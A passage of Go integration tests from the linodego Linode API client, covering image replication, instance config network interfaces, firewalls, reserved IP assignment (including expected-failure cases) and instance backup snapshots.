image.ID, ImageStatusPendingUpload, 60); err != nil { t.Errorf("Failed to wait for image pending upload status: %v", err) } // Because this request currently bypasses the recorder, we should only run it when the recorder is recording if testingMode != recorder.ModeReplaying { if err := client.UploadImageToURL(context.Background(), uploadURL, bytes.NewReader(testImageBytes)); err != nil { t.Errorf("failed to upload image: %v", err) } } if _, err := client.WaitForImageStatus(context.Background(), image.ID, ImageStatusAvailable, 400); err != nil { t.Errorf("Failed to wait for image available upload status: %v", err) } replicaRegions := availableRegions[:2] image, err = client.ReplicateImage(context.Background(), image.ID, ImageReplicateOptions{ Regions: replicaRegions, }) require.NoError(t, err) require.Len(t, image.Regions, len(replicaRegions)) for _, region := range image.Regions { assert.Contains(t, replicaRegions, region.Region) } } golang-github-linode-linodego-1.47.0/test/integration/instance_config_test.go000066400000000000000000000264271474652371000274450ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" . "github.com/linode/linodego" ) func setupVPCWithSubnetWithInstance( t *testing.T, fixturesYaml string, modifiers ...instanceModifier, ) ( *Client, *VPC, *VPCSubnet, *Instance, *InstanceConfig, func(), error, ) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, instanceConfig, instanceTeardown, err := createInstanceWithoutDisks( t, client, true, modifiers..., ) if err != nil { if instanceTeardown != nil { instanceTeardown() } t.Fatal(err) } vpc, vpcSubnet, vpcWithSubnetTeardown, err := createVPCWithSubnet( t, client, func(client *Client, options *VPCCreateOptions) { options.Region = instance.Region }, ) if err != nil { t.Error(err) } teardownAll := func() { instanceTeardown() vpcWithSubnetTeardown() fixtureTeardown() } return client, vpc, vpcSubnet, instance, instanceConfig, teardownAll, err } func setupInstanceWithVPCAndNATOneToOne(t *testing.T, fixturesYaml string) ( *Client, *VPC, *VPCSubnet, *Instance, *InstanceConfig, func(), ) { t.Helper() client, vpc, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, fixturesYaml, func(client *Client, opts *InstanceCreateOptions) { opts.Region = getRegionsWithCaps(t, client, []string{"Linodes", "VPCs"})[0] }, ) if err != nil { if teardown != nil { teardown() } t.Fatal(err) } updateConfigOpts := config.GetUpdateOptions() NAT1To1Any := "any" updateConfigOpts.Interfaces = []InstanceConfigInterfaceCreateOptions{ { Purpose: InterfacePurposeVPC, SubnetID: &vpcSubnet.ID, IPv4: &VPCIPv4{ NAT1To1: &NAT1To1Any, }, }, } config, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { teardown() t.Fatal(err) } return client, vpc, vpcSubnet, instance, config, teardown } func setupInstanceWith3Interfaces(t *testing.T, fixturesYaml string) ( *Client, *VPC, *VPCSubnet, *Instance, *InstanceConfig, func(), ) { t.Helper() client, vpc, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, fixturesYaml, func(client *Client, opts *InstanceCreateOptions) { opts.Region = getRegionsWithCaps(t, client, []string{"Linodes", "VPCs"})[0] }, ) if err != nil { if teardown != nil { teardown() } t.Fatal(err) } updateConfigOpts := config.GetUpdateOptions() NAT1To1Any := "any" updateConfigOpts.Interfaces = []InstanceConfigInterfaceCreateOptions{ { Purpose: InterfacePurposePublic, }, { Purpose: InterfacePurposeVLAN, Label: "testvlan", }, { Purpose: InterfacePurposeVPC, SubnetID: &vpcSubnet.ID, IPv4: &VPCIPv4{ NAT1To1: &NAT1To1Any, }, }, } config, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { teardown() t.Fatal(err) } return client, vpc, vpcSubnet, instance, config, teardown } func TestInstance_ConfigInterfaces_AppendDelete(t *testing.T) { client, _, subnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, "fixtures/TestInstance_ConfigInterfaces_AppendDelete", func(client *Client, opts *InstanceCreateOptions) { // Ensure we're in a region that supports VLANs opts.Region = getRegionsWithCaps(t, client, []string{"vlans", "VPCs"})[0] }, ) defer teardown() if err != nil { t.Fatal(err) } appednOpts := InstanceConfigInterfaceCreateOptions{ Purpose: InterfacePurposeVPC, SubnetID: &subnet.ID, } intfc, err := client.AppendInstanceConfigInterface( context.Background(), instance.ID, config.ID, appednOpts, ) if err != nil { t.Error(err) } if intfc.ID == 0 || appednOpts.Purpose != intfc.Purpose || *appednOpts.SubnetID != *intfc.SubnetID { t.Errorf( "failed to append an interface to instance %v config %v", instance.ID, config.ID, ) } interfaces, err := client.ListInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } interfacesLength := len(interfaces) err = client.DeleteInstanceConfigInterface( context.Background(), instance.ID, config.ID, intfc.ID, ) if err != nil { t.Error(err) } updatedInterfaces, err := client.ListInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } if len(updatedInterfaces) > interfacesLength { t.Errorf( "failed to delete interface %v of config %v of instance %v", intfc.ID, config.ID, instance.ID, ) } } func TestInstance_ConfigInterfaces_Reorder(t *testing.T) { client, _, _, instance, config, teardown := setupInstanceWith3Interfaces( t, "fixtures/TestInstance_ConfigInterfaces_Reorder", ) defer teardown() desiredIDs := []int{ config.Interfaces[1].ID, config.Interfaces[0].ID, config.Interfaces[2].ID, } err := client.ReorderInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, InstanceConfigInterfacesReorderOptions{ IDs: desiredIDs, }, ) if err != nil { t.Error(err) } reorderedInterfacesConfig, err := client.GetInstanceConfig( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } reorderedIDs := []int{ reorderedInterfacesConfig.Interfaces[0].ID, reorderedInterfacesConfig.Interfaces[1].ID, reorderedInterfacesConfig.Interfaces[2].ID, } if !reflect.DeepEqual(reorderedIDs, desiredIDs) { t.Errorf( "interface IDs reordering failed, desired IDs: %v, appeared IDs: %v", desiredIDs, reorderedIDs, ) } } func TestInstance_ConfigInterfaces_List_smoke(t *testing.T) { client, _, _, instance, config, teardown := setupInstanceWith3Interfaces( t, "fixtures/TestInstance_ConfigInterfaces_List", ) defer teardown() interfaces, err := client.ListInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } if !(len(interfaces) == 3 && interfaces[0].ID != 0 && interfaces[1].ID != 0 && interfaces[2].ID != 0) { t.Errorf("failed to list all interfaces of config %v", config.ID) } } // testing config interfaces update via config API func TestInstance_ConfigInterfaces_Update(t *testing.T) { client, _, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, "fixtures/TestInstance_ConfigInterfaces_Update", func(client *Client, opts *InstanceCreateOptions) { // Ensure we're in a region that supports VLANs opts.Region = getRegionsWithCaps(t, client, []string{"vlans", "VPCs"})[0] }, ) defer teardown() if err != nil { t.Error(err) } updateConfigOpts := config.GetUpdateOptions() updateConfigOpts.Interfaces = []InstanceConfigInterfaceCreateOptions{ { Purpose: InterfacePurposePublic, }, { Purpose: InterfacePurposeVLAN, Label: "testvlan", }, { Purpose: InterfacePurposeVPC, SubnetID: &vpcSubnet.ID, IPv4: &VPCIPv4{ VPC: "192.168.0.87", }, }, } _, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { t.Error(err) } result, err := client.GetInstanceConfig(context.Background(), instance.ID, config.ID) if err != nil { t.Error(err) } interfaceOptsList := make([]InstanceConfigInterfaceCreateOptions, len(result.Interfaces)) for index, configInterface := range result.Interfaces { interfaceOptsList[index] = configInterface.GetCreateOptions() } if !reflect.DeepEqual( interfaceOptsList, updateConfigOpts.Interfaces, ) { t.Error("failed to update linode interfaces: configs do not match") } // Ensure that a nil value will not update interfaces result, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, InstanceConfigUpdateOptions{}) if err != nil { t.Error(err) } interfaceOptsList = make([]InstanceConfigInterfaceCreateOptions, len(result.Interfaces)) for index, configInterface := range result.Interfaces { interfaceOptsList[index] = configInterface.GetCreateOptions() } if !reflect.DeepEqual( interfaceOptsList, updateConfigOpts.Interfaces, ) { t.Error("failed to update linode interfaces: configs do not match") } } // testing config interface update via interfaces API func TestInstance_ConfigInterface_Update(t *testing.T) { client, _, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, "fixtures/TestInstance_ConfigInterface_Update", func(client *Client, opts *InstanceCreateOptions) { // Ensure we're in a region that supports VLANs opts.Region = getRegionsWithCaps(t, client, []string{"vlans", "VPCs"})[0] }, ) defer teardown() if err != nil { t.Error(err) } intfc, err := client.AppendInstanceConfigInterface( context.Background(), instance.ID, config.ID, InstanceConfigInterfaceCreateOptions{ Purpose: InterfacePurposeVPC, SubnetID: &vpcSubnet.ID, IPRanges: []string{"192.168.0.5/32"}, }, ) if err != nil { t.Errorf("an error occurs when appending an interface to config %v: %v", config.ID, err) } updateOpts := intfc.GetUpdateOptions() updateOpts.Primary = true updatedIntfc, err := client.UpdateInstanceConfigInterface( context.Background(), instance.ID, config.ID, intfc.ID, updateOpts, ) if err != nil { t.Errorf("an error occurs when updating an interface in config %v", config.ID) } if !(updatedIntfc.Primary == updateOpts.Primary) { t.Errorf("updating interface %v didn't succeed", intfc.ID) } if updatedIntfc.IPRanges[0] != "192.168.0.5/32" { t.Errorf("unexpected value for IPRanges: %s", updatedIntfc.IPRanges[0]) } NAT1To1Any := "any" updateOpts.IPv4 = &VPCIPv4{ VPC: "192.168.0.10", NAT1To1: &NAT1To1Any, } newIPRanges := make([]string, 0) updateOpts.IPRanges = &newIPRanges updatedIntfc, err = client.UpdateInstanceConfigInterface( context.Background(), instance.ID, config.ID, intfc.ID, updateOpts, ) if err != nil { t.Errorf("an error occurs when updating an interface in config %v", config.ID) } if !(updatedIntfc.Primary == updateOpts.Primary && updateOpts.IPv4.VPC == updatedIntfc.IPv4.VPC) { t.Errorf("updating interface %v didn't succeed", intfc.ID) } if len(updatedIntfc.IPRanges) > 0 { t.Errorf("expected IPRanges to be empty, got %d entries", len(updatedIntfc.IPRanges)) } } func TestInstance_Configs_List(t *testing.T) { client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Configs_List", true) defer teardown() if err != nil { t.Error(err) } configs, err := client.ListInstanceConfigs(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance configs, expected struct, got error %v", err) } if len(configs) == 0 { t.Errorf("Expected a list of instance configs, but got %v", configs) } if configs[0].ID != config.ID { t.Errorf("Expected config id %d, got %d", configs[0].ID, config.ID) } } func TestInstance_Config_Update(t *testing.T) { client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Config_Update", true) defer teardown() if err != nil { t.Error(err) } updateConfigOpts := InstanceConfigUpdateOptions{ Label: "go-conf-test-" + randLabel(), Devices: &InstanceConfigDeviceMap{}, RootDevice: "/dev/root", } _, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { t.Error(err) } } golang-github-linode-linodego-1.47.0/test/integration/instance_firewalls_test.go000066400000000000000000000027241474652371000301620ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestInstanceFirewalls_List(t *testing.T) { client, instance, _, teardown, err := setupInstanceFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-ins-test" }, }, "fixtures/TestInstanceFirewalls_List") if err != nil { t.Error(err) } defer teardown() result, err := client.ListInstanceFirewalls(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing Firewalls, expected struct, got error %v", err) } if len(result) == 0 { t.Errorf("Expected a list of Firewalls, but got none: %v", err) } } func setupInstanceFirewall(t *testing.T, firewallModifiers []firewallModifier, fixturesYaml string) (*linodego.Client, *linodego.Instance, *linodego.Firewall, func(), error) { t.Helper() client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml, false, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.Label = "linodego-fw-inst-test" }) device := linodego.DevicesCreationOptions{Linodes: []int{instance.ID}} firewallModifiers = append(firewallModifiers, func(createOpts *linodego.FirewallCreateOptions) { createOpts.Devices = device }) firewall, firewallTeardown, err := createFirewall(t, client, firewallModifiers...) teardown := func() { firewallTeardown() instanceTeardown() } return client, instance, firewall, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/instance_reserved_ips_test.go000066400000000000000000000422611474652371000306640ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestInstance_CreateWithReservedIPAddress(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithReservedIPAddress") defer teardown() // Reserve an IP for testing reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: "us-east"}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, reservedIP.Address) defer instanceTeardown() if err != nil { t.Fatalf("Error creating instance with reserved IP: %s", err) } } func createInstanceWithReservedIP( t *testing.T, client *linodego.Client, reservedIP string, modifiers ...instanceModifier, ) (*linodego.Instance, func(), error) { t.Helper() createOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-reserved-ip-" + randLabel(), Region: "us-east", Type: "g6-nanode-1", Booted: linodego.Pointer(false), Image: "linode/alpine3.17", RootPass: randPassword(), Interfaces: []linodego.InstanceConfigInterfaceCreateOptions{ { Purpose: linodego.InterfacePurposePublic, Label: "", IPAMAddress: "", }, }, IPv4: []string{reservedIP}, } for _, modifier := range modifiers { modifier(client, &createOpts) } instance, err := client.CreateInstance(context.Background(), createOpts) if err != nil { return nil, func() {}, err } teardown := func() { if terr := client.DeleteInstance(context.Background(), instance.ID); terr != nil { t.Errorf("Error deleting test Instance: %s", terr) } } return instance, teardown, nil } func TestInstance_CreateWithOwnedNonAssignedReservedIP(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithOwnedNonAssignedReservedIP") defer teardown() reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: "us-east"}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, reservedIP.Address) defer instanceTeardown() if err != nil { t.Errorf("Unexpected error with owned non-assigned reserved IP: %v", err) } } func TestInstance_CreateWithAlreadyAssignedReservedIP(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithAlreadyAssignedReservedIP") defer teardown() reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: "us-east"}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() // First, create an instance with the reserved IP _, instanceTeardown, err := createInstanceWithReservedIP(t, client, reservedIP.Address) defer instanceTeardown() if err != nil { t.Fatalf("Failed to create initial instance: %v", err) } // Now try to create another instance with the same IP _, secondInstanceTeardown, err := createInstanceWithReservedIP(t, client, reservedIP.Address) defer secondInstanceTeardown() if err == nil { t.Errorf("Expected error with already assigned reserved IP, but got none") } } func TestInstance_CreateWithNonReservedAddress(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithNonReservedAddress") defer teardown() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, "192.0.2.1") defer instanceTeardown() if err == nil { t.Errorf("Expected error with non-reserved address, but got none") } } func TestInstance_CreateWithNonOwnedReservedAddress(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithNonOwnedReservedAddress") defer teardown() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, "198.51.100.1") defer instanceTeardown() if err == nil { t.Errorf("Expected error with non-owned reserved address, but got none") } } func TestInstance_CreateWithEmptyIPAddress(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithEmptyIPAddress") defer teardown() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, "") defer instanceTeardown() if err == nil { t.Errorf("Expected error with empty IP address, but got none") } } func TestInstance_CreateWithNullIPAddress(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithNullIPAddress") defer teardown() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, "", func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.IPv4 = nil }) defer instanceTeardown() if err != nil { t.Errorf("Unexpected error with null IP address: %v", err) } } func TestInstance_CreateWithMultipleIPAddresses(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithMultipleIPAddresses") defer teardown() reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: "us-east"}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, "", func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.IPv4 = []string{reservedIP.Address, "192.0.2.2"} }) defer instanceTeardown() if err == nil { t.Errorf("Expected error with multiple IP addresses, but got none") } } func TestInstance_CreateWithoutIPv4Field(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_CreateWithoutIPv4Field") defer teardown() _, instanceTeardown, err := createInstanceWithReservedIP(t, client, "", func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.IPv4 = nil }) defer instanceTeardown() if err != nil { t.Errorf("Unexpected error when omitting IPv4 field: %v", err) } } func TestInstance_AddReservedIPToInstance(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_AddReservedIPToInstance") defer teardown() // Create a test Linode instance instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: "us-east", Type: "g6-nanode-1", Label: "test-instance-for-ip-reservation", RootPass: randPassword(), }) if err != nil { t.Fatalf("Error creating test instance: %v", err) } defer func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Errorf("Error deleting test instance: %v", err) } }() // Reserve an IP address reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "us-east", }) if err != nil { t.Fatalf("Error reserving IP address: %v", err) } defer func() { if err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address); err != nil { t.Errorf("Error deleting reserved IP: %v", err) } }() // Add the reserved IP to the instance opts := linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: reservedIP.Address, } _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, opts) if err != nil { t.Fatalf("Error adding reserved IP to instance: %v", err) } // Verify the IP was added to the instance ips, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Fatalf("Error getting instance IP addresses: %v", err) } found := false for _, ip := range ips.IPv4.Public { if ip.Address == reservedIP.Address { found = true break } } if !found { t.Errorf("Reserved IP %s was not found in instance's IP addresses", reservedIP.Address) } } func TestInstance_AddReservedIPToInstanceVariants(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_AddReservedIPToInstanceVariants") defer teardown() // Create a test Linode instance instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: "us-east", Type: "g6-nanode-1", Label: "test-instance-for-ip-reservation", RootPass: randPassword(), }) if err != nil { t.Fatalf("Error creating test instance: %v", err) } defer func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Errorf("Error deleting test instance: %v", err) } }() // Reserve an IP address reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "us-east", }) if err != nil { t.Fatalf("Error reserving IP address: %v", err) } defer func() { if err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address); err != nil { t.Errorf("Error deleting reserved IP: %v", err) } }() // Test: Add reserved IP to instance with valid parameters opts := linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: reservedIP.Address, } _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, opts) if err != nil { t.Fatalf("Error adding reserved IP to instance: %v", err) } // Test: Omit public field omitPublicOpts := linodego.InstanceReserveIPOptions{ Type: "ipv4", Address: reservedIP.Address, // Public field is omitted here } _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, omitPublicOpts) if err == nil { t.Fatalf("Expected error when adding reserved IP with omitted public field, but got none") } // Assume we have a Linode that has been created without a reserved IP address and IPMAX set to 1 linodeID := 63510870 // Reserve IP address resIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "us-east", }) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } // Add IP address to the Linode _, err = client.AssignInstanceReservedIP(context.Background(), linodeID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: resIP.Address, }) if err == nil { t.Errorf("Expected error when adding reserved IP to a Linode at its IPMAX limit, but got none") } // Delete the reserved IP Address if err := client.DeleteReservedIPAddress(context.Background(), resIP.Address); err != nil { t.Errorf("Failed to delete first reserved IP: %v", err) } // Test: Non-owned Linode ID nonOwnedInstanceID := 888888 // Replace with an actual non-owned Linode ID _, err = client.AssignInstanceReservedIP(context.Background(), nonOwnedInstanceID, opts) if err == nil { t.Errorf("Expected error when adding reserved IP to non-owned Linode, but got none") } // Test: Already assigned reserved IP _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, opts) if err == nil { t.Errorf("Expected error when adding already assigned reserved IP, but got none") } // Test: Non-owned reserved IP _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: "198.51.100.1", // Assume this is a non-owned reserved IP }) if err == nil { t.Errorf("Expected error when adding non-owned reserved IP, but got none") } // Test: Reserved IP in different datacenter // Reserve an IP address diffDataCentreIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "ca-central", }) if err != nil { t.Fatalf("Error reserving IP address: %v", err) } defer func() { if err := client.DeleteReservedIPAddress(context.Background(), diffDataCentreIP.Address); err != nil { t.Errorf("Error deleting reserved IP: %v", err) } }() _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: diffDataCentreIP.Address, // Assume this IP is in a different datacenter }) if err == nil { t.Errorf("Expected error when adding reserved IP in different datacenter, but got none") } // Test: IPv6 type _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv6", Public: true, Address: reservedIP.Address, }) if err == nil { t.Errorf("Expected error when adding reserved IP with type ipv6, but got none") } // Test: Public field set to false opts.Public = false _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, opts) if err == nil { t.Errorf("Expected error when adding reserved IP with public field set to false, but got none") } // Test: Integer as address _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: "12345", // Invalid IP format }) if err == nil { t.Errorf("Expected error when adding reserved IP with integer as address, but got none") } // Test: Empty address _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, Address: "", }) if err == nil { t.Errorf("Expected error when adding reserved IP with empty address, but got none") } // Test: Null address _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, }) if err == nil { t.Errorf("Expected error when adding reserved IP with null address, but got none") } // Test: Omit address field _, err = client.AssignInstanceReservedIP(context.Background(), instance.ID, linodego.InstanceReserveIPOptions{ Type: "ipv4", Public: true, }) if err == nil { t.Errorf("Expected error when omitting address field, but got none") } } func TestInstance_DeleteInstanceVariants(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestInstance_DeleteInstanceVariants") defer teardown() // Create a Linode with a reserved IP reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: "us-east"}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } t.Logf("Successfully reserved IP address") defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() instance, _, err := createInstanceWithReservedIP(t, client, reservedIP.Address) if err != nil { t.Fatalf("Error creating instance with reserved IP: %s", err) } t.Logf("Successfully created linode with reserved IP") // Delete a Linode with a reserved IP err = client.DeleteInstance(context.Background(), instance.ID) if err != nil { t.Fatalf("Failed to delete Linode with reserved IP: %v", err) } t.Logf("Successfully deleted linode!") // Verify the reserved IP is retained after Linode deletion retainedIP, err := client.GetReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Fatalf("Failed to get reserved IP after Linode deletion: %v", err) } if !retainedIP.Reserved || retainedIP.LinodeID != 0 { t.Errorf("Reserved IP not retained correctly after Linode deletion") } t.Logf("Reserved IP retained after Linode deletion") // Reassign the freed reserved IP to a new Linode newInstance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: "us-east", Type: "g6-nanode-1", Label: "test-instance-freed-ip", RootPass: randPassword(), IPv4: []string{reservedIP.Address}, }) if err != nil { t.Fatalf("Failed to create new instance with freed reserved IP: %v", err) } t.Logf("Created instance with freed reserved IP with id = %d", newInstance.ID) defer func() { if err := client.DeleteInstance(context.Background(), newInstance.ID); err != nil { t.Errorf("Error deleting new test Instance: %s", err) } }() // Verify the IP is assigned to the new Linode reassignedIP, err := client.GetReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Fatalf("Failed to get reassigned reserved IP: %v", err) } if reassignedIP.LinodeID == 0 || reassignedIP.LinodeID != newInstance.ID { t.Errorf("Reserved IP not correctly reassigned to new Linode") } t.Logf("Reserved IP successfully reassigned to new Linode") // PERMUTATION 4: Delete a Linode with an ephemeral IP ephemeralInstance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: "us-east", Type: "g6-nanode-1", Label: "ephemeral-ip-test", RootPass: randPassword(), }) if err != nil { t.Fatalf("Failed to create Linode with ephemeral IP: %v", err) } err = client.DeleteInstance(context.Background(), ephemeralInstance.ID) if err != nil { t.Fatalf("Failed to delete Linode with ephemeral IP: %v", err) } t.Logf("Successfully deleted Linode with ephemeral IP") } golang-github-linode-linodego-1.47.0/test/integration/instance_snapshots_test.go000066400000000000000000000105241474652371000302110ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/linode/linodego" ) var testSnapshotLabel = "snapshot-linodego-testing" func TestInstanceBackups_List(t *testing.T) { client, instance, backup, teardown, err := setupInstanceBackup(t, "fixtures/TestInstanceBackups_List") defer teardown() if err != nil { t.Error(err) } backupGotten, err := client.GetInstanceSnapshot(context.Background(), instance.ID, backup.ID) if err != nil { t.Errorf("Error getting backup: %v", err) } else if backupGotten.Label != backup.Label { t.Errorf("Error getting backup, Labels dont match") } // Get updated instance info instance, err = client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatalf("failed to get instance: %s", err) } if !instance.Backups.Available { t.Fatalf("expected Backups.Available to be true, got false") } assertDateSet(t, backupGotten.Created) assertDateSet(t, backupGotten.Updated) backups, err := client.GetInstanceBackups(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting backups: %v", err) } if backups.Snapshot.InProgress == nil && backups.Snapshot.Current == nil { t.Errorf("Error getting snapshot: No Current or InProgress Snapshot") } if backups.Snapshot.InProgress != nil && backups.Snapshot.InProgress.Label != testSnapshotLabel { t.Errorf("Expected snapshot did not match inprogress snapshot: %v", backups.Snapshot.InProgress) } else if backups.Snapshot.Current != nil && backups.Snapshot.Current.Label != testSnapshotLabel { t.Errorf("Expected snapshot did not match current snapshot: %v", backups.Snapshot.Current) } backup, err = client.WaitForSnapshotStatus(context.Background(), instance.ID, backup.ID, linodego.SnapshotSuccessful, 360) if err != nil { t.Errorf("Error waiting for snapshot: %v", err) } if !backup.Available { t.Fatal("expected backup to be available") } restoreOpts := linodego.RestoreInstanceOptions{ LinodeID: instance.ID, Overwrite: true, } now := time.Now() err = client.RestoreInstanceBackup(context.Background(), instance.ID, backup.ID, restoreOpts) if err != nil { t.Errorf("Error restoring backup: %v", err) } err = client.CancelInstanceBackups(context.Background(), instance.ID) if err != nil { t.Errorf("Error cancelling backups: %v", err) } // wait for instnace to restore _, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionBackupsRestore, now, 360) if err != nil { t.Errorf("Error waiting for snapshot to complete: %v", err) } } func setupInstanceBackup(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Instance, *linodego.InstanceSnapshot, func(), error) { t.Helper() client, instance, _, fixtureTeardown, err := setupInstanceWithoutDisks(t, fixturesYaml, true) if err != nil { t.Errorf("Error creating instance, got error %v", err) } client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) createOpts := linodego.InstanceDiskCreateOptions{ Size: 10, Label: "linodego-disk-test", Filesystem: "ext4", } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, createOpts) if err != nil { t.Errorf("Error creating Instance Disk: %v", err) } // wait for disk to finish provisioning event, err := client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionDiskCreate, *disk.Created, 240) if err != nil { t.Errorf("Error waiting for instance snapshot: %v", err) } if event.Status == linodego.EventFailed { t.Errorf("Error creating instance disk: Disk Create Failed") } err = client.EnableInstanceBackups(context.Background(), instance.ID) if err != nil { t.Errorf("Error enabling Instance Backups: %v", err) } snapshot, err := client.CreateInstanceSnapshot(context.Background(), instance.ID, testSnapshotLabel) if err != nil { 